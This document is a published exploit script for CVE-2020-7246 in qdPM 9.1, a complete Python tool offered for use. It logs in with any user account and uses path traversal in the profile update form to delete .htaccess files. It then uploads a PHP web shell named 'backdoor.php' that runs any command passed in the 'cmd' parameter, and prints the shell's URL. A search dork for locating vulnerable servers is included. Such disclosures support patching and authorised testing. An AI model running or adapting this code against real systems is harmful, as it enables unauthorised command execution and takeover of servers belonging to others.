qdPM 9.1 Remote Code Execution

`# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)  
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net  
# Date: 2021-08-03  
# Original Exploit Author: Rishal Dwivedi (Loginsoft)  
# Original ExploitDB ID: 47954 (https://www.exploit-db.com/exploits/47954)  
# Exploit Author: Leon Trappett (thepcn3rd)  
# Vendor Homepage: http://qdpm.net/  
# Software Link: http://qdpm.net/download-qdpm-free-project-management  
# Version: <=1.9.1  
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)  
# CVE : CVE-2020-7246  
# Exploit written in Python 3.9.2  
# Tested Environment - Ubuntu Server 20.04 LTS  
# Path Traversal + Remote Code Execution  
# Exploit modification: RedHatAugust  
  
#!/usr/bin/python3  
  
import sys  
import requests  
from lxml import html  
from argparse import ArgumentParser  
  
session_requests = requests.session()  
  
def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):  
request_1 = {  
'sf_method': (None, 'put'),  
'users[id]': (None, userid[-1]),  
'users[photo_preview]': (None, uservar),  
'users[_csrf_token]': (None, csrftoken_[-1]),  
'users[name]': (None, username[-1]),  
'users[new_password]': (None, ''),  
'users[email]': (None, EMAIL),  
'extra_fields[9]': (None, ''),  
'users[remove_photo]': (None, '1'),  
}  
return request_1  
  
  
def req(userid, username, csrftoken_, EMAIL, HOSTNAME):  
request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')  
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)  
request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')  
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)  
request_3 = {  
'sf_method': (None, 'put'),  
'users[id]': (None, userid[-1]),  
'users[photo_preview]': (None, ''),  
'users[_csrf_token]': (None, csrftoken_[-1]),  
'users[name]': (None, username[-1]),  
'users[new_password]': (None, ''),  
'users[email]': (None, EMAIL),  
'extra_fields[9]': (None, ''),  
'users[photo]': ('backdoor.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream'),  
}  
upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)  
  
  
def main(HOSTNAME, EMAIL, PASSWORD):  
url = HOSTNAME + '/index.php/login'  
result = session_requests.get(url)  
#print(result.text)  
login_tree = html.fromstring(result.text)  
authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]  
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}  
result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))  
# The designated admin account does not have a myAccount page  
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')  
account_tree = html.fromstring(account_page.content)  
userid = account_tree.xpath("//input[@name='users[id]']/@value")  
username = account_tree.xpath("//input[@name='users[name]']/@value")  
csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")  
req(userid, username, csrftoken_, EMAIL, HOSTNAME)  
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')  
final_tree = html.fromstring(get_file.content)  
backdoor = requests.get(HOSTNAME + "uploads/users/")  
count = 0  
dateStamp = "1970-01-01 00:00"  
backdoorFile = ""  
for line in backdoor.text.split("\n"):  
count = count + 1  
if "backdoor.php" in str(line):  
try:  
start = "\"right\""  
end = " </td"  
line = str(line)  
dateStampNew = line[line.index(start)+8:line.index(end)]  
if (dateStampNew > dateStamp):  
dateStamp = dateStampNew  
print("The DateStamp is " + dateStamp)  
backdoorFile = line[line.index("href")+6:line.index("php")+3]  
except:  
print("Exception occurred")  
continue  
#print(backdoor)  
print('Backdoor uploaded at - > ' + HOSTNAME + 'uploads/users/' + backdoorFile + '?cmd=whoami')  
  
if __name__ == '__main__':  
print("You are not able to use the designated admin account because they do not have a myAccount page.\n")  
parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')  
parser.add_argument('-url', '--host', dest='hostname', help='Project URL')  
parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')  
parser.add_argument('-p', '--password', dest='password', help='User password')  
args = parser.parse_args()  
# Added detection if the arguments are passed and populated, if not display the arguments  
if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):  
main(args.hostname, args.email, args.password)  
else:  
parser.print_help()  
  
`